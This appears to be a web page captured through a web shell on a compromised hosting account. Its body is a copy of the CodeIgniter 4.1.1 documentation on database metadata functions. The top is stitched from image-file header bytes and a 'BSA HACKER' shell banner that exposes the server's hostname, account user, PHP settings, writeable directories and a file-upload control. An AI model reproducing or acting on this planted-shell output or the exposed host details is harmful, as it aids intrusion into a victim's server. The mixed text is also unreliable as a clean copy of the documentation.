ÿØÿàJFIFHHÿá .
BSA HACKER
Logo of a company Server : Apache
System : Linux nusantara.hosteko.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : koperas1 ( 1254)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/koperas1/public_html/userguide/database/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/koperas1/public_html/userguide/database/metadata.html

<!DOCTYPE html>
<html class="writer-html4" lang="en" >
<head>
  <meta charset="utf-8" />
  
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  
  <title>Database Metadata &mdash; CodeIgniter 4.1.1 documentation</title>
  

  
  <link rel="stylesheet" href="../_static/css/citheme.css" type="text/css" />
  <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />

  
  
    <link rel="shortcut icon" href="../_static/favicon.ico"/>
  

  
  

  

  
  <!--[if lt IE 9]>
    <script src="../_static/js/html5shiv.min.js"></script>
  <![endif]-->
  
    
      <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
        <script type="text/javascript" src="../_static/jquery.js"></script>
        <script type="text/javascript" src="../_static/underscore.js"></script>
        <script type="text/javascript" src="../_static/doctools.js"></script>
        <script type="text/javascript" src="../_static/language_data.js"></script>
        <script type="text/javascript" src="../_static/js/citheme.js"></script>
        <script type="text/javascript" src="../_static/js/carbon.js"></script>
    
    <script type="text/javascript" src="../_static/js/theme.js"></script>

    
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="Custom Function Calls" href="call_function.html" />
    <link rel="prev" title="Transactions" href="transactions.html" /> 
</head>

<body class="wy-body-for-nav">

   
  <div class="wy-grid-for-nav">
    
    <nav data-toggle="wy-nav-shift" class="wy-nav-side">
      <div class="wy-side-scroll">
        <div class="wy-side-nav-search"  style="background: #DD4814" >
          

          
            <a href="../index.html">
          

          
            
            <img src="../_static/ci-logo-text.png" class="logo" alt="Logo"/>
          
          </a>

          

          
<div role="search">
  <form id="rtd-search-form" class="wy-form" action="../search.html" method="get">
    <input type="text" name="q" placeholder="Search docs" />
    <input type="hidden" name="check_keywords" value="yes" />
    <input type="hidden" name="area" value="default" />
  </form>
</div>

          
        </div>

        
        <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation">
          
            
            
              
            
            
              <ul>
<li class="toctree-l1"><a class="reference internal" href="../intro/index.html">Welcome to CodeIgniter4</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../intro/index.html">Welcome to CodeIgniter4</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/requirements.html">Server Requirements</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/credits.html">Credits</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/psr.html">PSR Compliance</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../installation/index.html">Installation</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../installation/installing_composer.html">Composer Installation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/installing_manual.html">Manual Installation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/running.html">Running Your App</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/upgrading.html">Upgrading From a Previous Version</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/troubleshooting.html">Troubleshooting</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/repositories.html">CodeIgniter Repositories</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../tutorial/index.html">Build Your First Application</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/static_pages.html">Static pages</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/news_section.html">News section</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/create_news_items.html">Create news items</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/conclusion.html">Conclusion</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../concepts/index.html">CodeIgniter4 Overview</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../concepts/structure.html">Application Structure</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/mvc.html">Models, Views, and Controllers</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/autoloader.html">Autoloading Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/services.html">Services</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/factories.html">Factories</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/http.html">Working With HTTP Requests</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/security.html">Security Guidelines</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../general/index.html">General Topics</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../general/configuration.html">Configuration</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/urls.html">CodeIgniter URLs</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/helpers.html">Helper Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/common_functions.html">Global Functions and Constants</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/logging.html">Logging Information</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/errors.html">Error Handling</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/caching.html">Web Page Caching</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/ajax.html">AJAX Requests</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/modules.html">Code Modules</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/managing_apps.html">Managing your Applications</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/environments.html">Handling Multiple Environments</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../incoming/index.html">Controllers and Routing</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../incoming/controllers.html">Controllers</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/routing.html">URI Routing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/filters.html">Controller Filters</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/message.html">HTTP Messages</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/request.html">Request Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/incomingrequest.html">IncomingRequest Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/content_negotiation.html">Content Negotiation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/methodspoofing.html">HTTP Method Spoofing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/restful.html">RESTful Resource Handling</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../outgoing/index.html">Building Responses</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/views.html">Views</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_cells.html">View Cells</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_renderer.html">View Renderer</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_layouts.html">View Layouts</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_parser.html">View Parser</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/table.html">HTML Table Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/response.html">HTTP Responses</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/api_responses.html">API Response Trait</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/localization.html">Localization</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/alternative_php.html">Alternate PHP Syntax for View Files</a></li>
</ul>
</li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="index.html">Working With Databases</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="examples.html">Quick Start: Usage Examples</a></li>
<li class="toctree-l2"><a class="reference internal" href="configuration.html">Database Configuration</a></li>
<li class="toctree-l2"><a class="reference internal" href="connecting.html">Connecting to a Database</a></li>
<li class="toctree-l2"><a class="reference internal" href="queries.html">Running Queries</a></li>
<li class="toctree-l2"><a class="reference internal" href="results.html">Generating Query Results</a></li>
<li class="toctree-l2"><a class="reference internal" href="helpers.html">Query Helper Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="query_builder.html">Query Builder Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="transactions.html">Transactions</a></li>
<li class="toctree-l2 current"><a class="current reference internal" href="#">Getting MetaData</a></li>
<li class="toctree-l2"><a class="reference internal" href="call_function.html">Custom Function Calls</a></li>
<li class="toctree-l2"><a class="reference internal" href="events.html">Database Events</a></li>
<li class="toctree-l2"><a class="reference internal" href="utilities.html">Database Utilities</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../models/index.html">Modeling Data</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../models/model.html">Using CodeIgniter's Model</a></li>
<li class="toctree-l2"><a class="reference internal" href="../models/entities.html">Using Entity Classes</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../dbmgmt/index.html">Managing Databases</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/forge.html">Database Manipulation with Database Forge</a></li>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/migration.html">Database Migrations</a></li>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/seeds.html">Database Seeding</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../libraries/index.html">Library Reference</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../libraries/caching.html">Caching Driver</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/curlrequest.html">CURLRequest Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/email.html">Email Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/encryption.html">Encryption Service</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/files.html">Working with Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/honeypot.html">Honeypot Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/images.html">Image Manipulation Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/pagination.html">Pagination</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/security.html">Security</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/sessions.html">Session Library</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/throttler.html">Throttler</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/time.html">Times and Dates</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/typography.html">Typography</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/uploaded_files.html">Working with Uploaded Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/uri.html">Working with URIs</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/user_agent.html">User Agent Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/validation.html">Validation</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../helpers/index.html">Helpers</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../helpers/array_helper.html">Array Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/cookie_helper.html">Cookie Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/date_helper.html">Date Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/filesystem_helper.html">Filesystem Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/form_helper.html">Form Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/html_helper.html">HTML Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/inflector_helper.html">Inflector Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/number_helper.html">Number Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/security_helper.html">Security Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/test_helper.html">Test Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/text_helper.html">Text Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/url_helper.html">URL Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/xml_helper.html">XML Helper</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../testing/index.html">Testing</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../testing/overview.html">Getting Started</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/database.html">Database</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/fabricator.html">Generating Data</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/controllers.html">Controller Testing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/feature.html">HTTP Testing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/benchmark.html">Benchmarking</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/debugging.html">Debugging Your Application</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../cli/index.html">Command Line Usage</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli.html">Running via the Command Line</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_commands.html">Custom CLI Commands</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_generators.html">CLI Generators</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_library.html">CLI Library</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_request.html">CLIRequest Class</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../extending/index.html">Extending CodeIgniter</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../extending/core_classes.html">Creating Core System Classes</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/common.html">Replacing Common Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/events.html">Events</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/basecontroller.html">Extending the Controller</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/authentication.html">Authentication</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/contributing.html">Contributing to CodeIgniter</a></li>
</ul>
</li>
</ul>

            
          
        </div>
        
      </div>
    </nav>

    <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap">

      
      <nav class="wy-nav-top" aria-label="top navigation">
        
          <i data-toggle="wy-nav-top" class="fa fa-bars"></i>
          <a href="../index.html">CodeIgniter</a>
        
      </nav>


      <div class="wy-nav-content">
        
        <div class="rst-content">
        
          

















<div role="navigation" aria-label="breadcrumbs navigation">

  <ul class="wy-breadcrumbs">
    
      <li><a href="../index.html" class="icon icon-home"></a> &raquo;</li>
        
          <li><a href="index.html">Working With Databases</a> &raquo;</li>
        
      <li>Database Metadata</li>
    
    
      <li class="wy-breadcrumbs-aside">
        
          
        
      </li>
    
  </ul>

  
  <hr/>
</div>
          <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article">
           <div itemprop="articleBody">
            
  <div class="section" id="database-metadata">
<h1>Database Metadata<a class="headerlink" href="#database-metadata" title="Permalink to this headline">¶</a></h1>
<div class="contents local topic" id="contents">
<ul class="simple">
<li><a class="reference internal" href="#table-metadata" id="id1">Table MetaData</a><ul>
<li><a class="reference internal" href="#list-the-tables-in-your-database" id="id2">List the Tables in Your Database</a></li>
<li><a class="reference internal" href="#determine-if-a-table-exists" id="id3">Determine If a Table Exists</a></li>
</ul>
</li>
<li><a class="reference internal" href="#field-metadata" id="id4">Field MetaData</a><ul>
<li><a class="reference internal" href="#list-the-fields-in-a-table" id="id5">List the Fields in a Table</a></li>
<li><a class="reference internal" href="#determine-if-a-field-is-present-in-a-table" id="id6">Determine If a Field is Present in a Table</a></li>
<li><a class="reference internal" href="#retrieve-field-metadata" id="id7">Retrieve Field Metadata</a></li>
<li><a class="reference internal" href="#list-the-indexes-in-a-table" id="id8">List the Indexes in a Table</a></li>
</ul>
</li>
</ul>
</div>
<div class="section" id="table-metadata">
<h2><a class="toc-backref" href="#id1">Table MetaData</a><a class="headerlink" href="#table-metadata" title="Permalink to this headline">¶</a></h2>
<p>These functions let you fetch table information.</p>
<div class="section" id="list-the-tables-in-your-database">
<h3><a class="toc-backref" href="#id2">List the Tables in Your Database</a><a class="headerlink" href="#list-the-tables-in-your-database" title="Permalink to this headline">¶</a></h3>
<p><strong>$db-&gt;listTables();</strong></p>
<p>Returns an array containing the names of all the tables in the database
you are currently connected to. Example:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$tables</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">listTables</span><span class="p">();</span>

<span class="k">foreach</span> <span class="p">(</span><span class="nv">$tables</span> <span class="k">as</span> <span class="nv">$table</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">echo</span> <span class="nv">$table</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Some drivers have additional system tables that are excluded from this return.</p>
</div>
</div>
<div class="section" id="determine-if-a-table-exists">
<h3><a class="toc-backref" href="#id3">Determine If a Table Exists</a><a class="headerlink" href="#determine-if-a-table-exists" title="Permalink to this headline">¶</a></h3>
<p><strong>$db-&gt;tableExists();</strong></p>
<p>Sometimes it’s helpful to know whether a particular table exists before
running an operation on it. Returns a boolean TRUE/FALSE. Usage example:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">if</span> <span class="p">(</span><span class="nv">$db</span><span class="o">-&gt;</span><span class="na">tableExists</span><span class="p">(</span><span class="s1">&#39;table_name&#39;</span><span class="p">))</span>
<span class="p">{</span>
    <span class="c1">// some code...</span>
<span class="p">}</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Replace <em>table_name</em> with the name of the table you are looking for.</p>
</div>
</div>
</div>
<div class="section" id="field-metadata">
<h2><a class="toc-backref" href="#id4">Field MetaData</a><a class="headerlink" href="#field-metadata" title="Permalink to this headline">¶</a></h2>
<div class="section" id="list-the-fields-in-a-table">
<h3><a class="toc-backref" href="#id5">List the Fields in a Table</a><a class="headerlink" href="#list-the-fields-in-a-table" title="Permalink to this headline">¶</a></h3>
<p><strong>$db-&gt;getFieldNames()</strong></p>
<p>Returns an array containing the field names. This query can be called
two ways:</p>
<ol class="arabic">
<li><p class="first">You can supply the table name and call it from the <code class="docutils literal notranslate"><span class="pre">$db-&gt;object</span></code>:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$fields</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">getFieldNames</span><span class="p">(</span><span class="s1">&#39;table_name&#39;</span><span class="p">);</span>

<span class="k">foreach</span> <span class="p">(</span><span class="nv">$fields</span> <span class="k">as</span> <span class="nv">$field</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">echo</span> <span class="nv">$field</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
</li>
</ol>
<p>2. You can gather the field names associated with any query you run by
calling the function from your query result object:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$query</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">query</span><span class="p">(</span><span class="s1">&#39;SELECT * FROM some_table&#39;</span><span class="p">);</span>

<span class="k">foreach</span> <span class="p">(</span><span class="nv">$query</span><span class="o">-&gt;</span><span class="na">getFieldNames</span><span class="p">()</span> <span class="k">as</span> <span class="nv">$field</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">echo</span> <span class="nv">$field</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
</div>
<div class="section" id="determine-if-a-field-is-present-in-a-table">
<h3><a class="toc-backref" href="#id6">Determine If a Field is Present in a Table</a><a class="headerlink" href="#determine-if-a-field-is-present-in-a-table" title="Permalink to this headline">¶</a></h3>
<p><strong>$db-&gt;fieldExists()</strong></p>
<p>Sometimes it’s helpful to know whether a particular field exists before
performing an action. Returns a boolean TRUE/FALSE. Usage example:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">if</span> <span class="p">(</span><span class="nv">$db</span><span class="o">-&gt;</span><span class="na">fieldExists</span><span class="p">(</span><span class="s1">&#39;field_name&#39;</span><span class="p">,</span> <span class="s1">&#39;table_name&#39;</span><span class="p">))</span>
<span class="p">{</span>
    <span class="c1">// some code...</span>
<span class="p">}</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Replace <em>field_name</em> with the name of the column you are looking
for, and replace <em>table_name</em> with the name of the table you are
looking for.</p>
</div>
</div>
<div class="section" id="retrieve-field-metadata">
<h3><a class="toc-backref" href="#id7">Retrieve Field Metadata</a><a class="headerlink" href="#retrieve-field-metadata" title="Permalink to this headline">¶</a></h3>
<p><strong>$db-&gt;getFieldData()</strong></p>
<p>Returns an array of objects containing field information.</p>
<p>Sometimes it’s helpful to gather the field names or other metadata, like
the column type, max length, etc.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Not all databases provide meta-data.</p>
</div>
<p>Usage example:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$fields</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">getFieldData</span><span class="p">(</span><span class="s1">&#39;table_name&#39;</span><span class="p">);</span>

<span class="k">foreach</span> <span class="p">(</span><span class="nv">$fields</span> <span class="k">as</span> <span class="nv">$field</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">echo</span> <span class="nv">$field</span><span class="o">-&gt;</span><span class="na">name</span><span class="p">;</span>
    <span class="k">echo</span> <span class="nv">$field</span><span class="o">-&gt;</span><span class="na">type</span><span class="p">;</span>
    <span class="k">echo</span> <span class="nv">$field</span><span class="o">-&gt;</span><span class="na">max_length</span><span class="p">;</span>
    <span class="k">echo</span> <span class="nv">$field</span><span class="o">-&gt;</span><span class="na">primary_key</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
<p>If you have run a query already you can use the result object instead of
supplying the table name:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$query</span>  <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">query</span><span class="p">(</span><span class="s2">&quot;YOUR QUERY&quot;</span><span class="p">);</span>
<span class="nv">$fields</span> <span class="o">=</span> <span class="nv">$query</span><span class="o">-&gt;</span><span class="na">fieldData</span><span class="p">();</span>
</pre></div>
</div>
<p>The following data is available from this function if supported by your
database:</p>
<ul class="simple">
<li>name - column name</li>
<li>max_length - maximum length of the column</li>
<li>primary_key - 1 if the column is a primary key</li>
<li>type - the type of the column</li>
</ul>
</div>
<div class="section" id="list-the-indexes-in-a-table">
<h3><a class="toc-backref" href="#id8">List the Indexes in a Table</a><a class="headerlink" href="#list-the-indexes-in-a-table" title="Permalink to this headline">¶</a></h3>
<p><strong>$db-&gt;getIndexData()</strong></p>
<p>Returns an array of objects containing index information.</p>
<p>Usage example:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$keys</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">getIndexData</span><span class="p">(</span><span class="s1">&#39;table_name&#39;</span><span class="p">);</span>

<span class="k">foreach</span> <span class="p">(</span><span class="nv">$keys</span> <span class="k">as</span> <span class="nv">$key</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="nv">$key</span><span class="o">-&gt;</span><span class="na">name</span><span class="p">;</span>
<span class="k">echo</span> <span class="nv">$key</span><span class="o">-&gt;</span><span class="na">type</span><span class="p">;</span>
<span class="k">echo</span> <span class="nv">$key</span><span class="o">-&gt;</span><span class="na">fields</span><span class="p">;</span> <span class="c1">// array of field names</span>
<span class="p">}</span>
</pre></div>
</div>
<p>The key types may be unique to the database you are using.
For instance, MySQL will return one of primary, fulltext, spatial, index or unique
for each key associated with a table.</p>
<p><strong>$db-&gt;getForeignKeyData()</strong></p>
<p>Returns an array of objects containing foreign key information.</p>
<p>Usage example:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$keys</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">getForeignKeyData</span><span class="p">(</span><span class="s1">&#39;table_name&#39;</span><span class="p">);</span>

<span class="k">foreach</span> <span class="p">(</span><span class="nv">$keys</span> <span class="k">as</span> <span class="nv">$key</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">echo</span> <span class="nv">$key</span><span class="o">-&gt;</span><span class="na">constraint_name</span><span class="p">;</span>
    <span class="k">echo</span> <span class="nv">$key</span><span class="o">-&gt;</span><span class="na">table_name</span><span class="p">;</span>
    <span class="k">echo</span> <span class="nv">$key</span><span class="o">-&gt;</span><span class="na">column_name</span><span class="p">;</span>
    <span class="k">echo</span> <span class="nv">$key</span><span class="o">-&gt;</span><span class="na">foreign_table_name</span><span class="p">;</span>
    <span class="k">echo</span> <span class="nv">$key</span><span class="o">-&gt;</span><span class="na">foreign_column_name</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
<p>The object fields may be unique to the database you are using. For instance, SQLite3 does
not return data on column names, but has the additional <em>sequence</em> field for compound
foreign key definitions.</p>
</div>
</div>
</div>


           </div>
           
          </div>
          <footer>
    <div class="rst-footer-buttons" role="navigation" aria-label="footer navigation">
        <a href="call_function.html" class="btn btn-neutral float-right" title="Custom Function Calls" accesskey="n" rel="next">Next <span class="fa fa-arrow-circle-right" aria-hidden="true"></span></a>
        <a href="transactions.html" class="btn btn-neutral float-left" title="Transactions" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left" aria-hidden="true"></span> Previous</a>
    </div>

  <hr/>

  <div role="contentinfo">
    <p>
        &#169; Copyright 2019-2021 CodeIgniter Foundation.
      <span class="lastupdated">
        Last updated on Feb 01, 2021.
      </span>

    </p>
  </div>
    
    
    
    Built with <a href="https://www.sphinx-doc.org/">Sphinx</a> using a
    
    <a href="https://github.com/readthedocs/sphinx_rtd_theme">theme</a>
    
    provided by <a href="https://readthedocs.org">Read the Docs</a>. 

</footer>
        </div>
      </div>

    </section>

  </div>
  

  <script type="text/javascript">
      jQuery(function () {
          SphinxRtdTheme.Navigation.enable(false);
      });
  </script>

  
  
    
   

</body>
</html>